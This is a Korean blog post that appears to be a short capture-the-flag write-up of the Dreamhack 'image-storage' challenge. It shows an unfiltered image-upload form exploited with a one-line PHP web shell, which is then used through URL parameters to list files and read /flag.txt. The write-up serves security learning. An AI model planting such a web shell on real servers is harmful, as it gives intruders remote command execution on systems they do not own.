개발 블로그

[DreamHeck] image-storage 본문

Study/Web Hacking

[DreamHeck] image-storage

얀 짱 2026. 9. 9. 21:00

https://dreamhack.io/wargame/challenges/38

 

로그인 | Dreamhack

 

dreamhack.io

 

이미지 업로드 취약점 문제!

-> 는 보통 웹셸 업로드 문제로 이어지는 경우가 많았음.

 

그래서 이미지 몇 개 업로드 해보다가, shell.php로 된 웹셸을 업로드함.

 

보통 더 어려운 문제들은 php 확장자 업로드를 막아두는 식으로 진행이 되는데, 이 문제는 딱히 특별한 확장자를 필터링하는 코드가 없어서 아무 확장자 파일이나 다 업로드가 됨. 그래서 shell.php도 쉽게 업로드 할 수 있었음.

 

다음은 내가 작성한 shell.php 파일이다.

<?php system($_GET['cmd']); ?>

 

http://host3.dreamhack.games:14994/uploads/shell.php?cmd=ls

 

음! 적용이 되는 것을 확인함.

 

문자 앞단에 플래그는 /flag.txt 에 있다고 했음. 그래서 다음과 같이 url을 넣어서 플래그를 해결함.

http://host3.dreamhack.games:14994/uploads/shell.php?cmd=cat /flag.txt

'Study > Web Hacking' 카테고리의 다른 글

[DreamHeck] Another Ping  (0) 2026.09.10
[DreamHeck] csrf-1  (0) 2026.09.09
[DreamHeck] Carve Party  (0) 2026.09.09
[DreamHeck] access-log  (0) 2026.09.09
[DreamHeck] web-ssrf  (0) 2026.09.08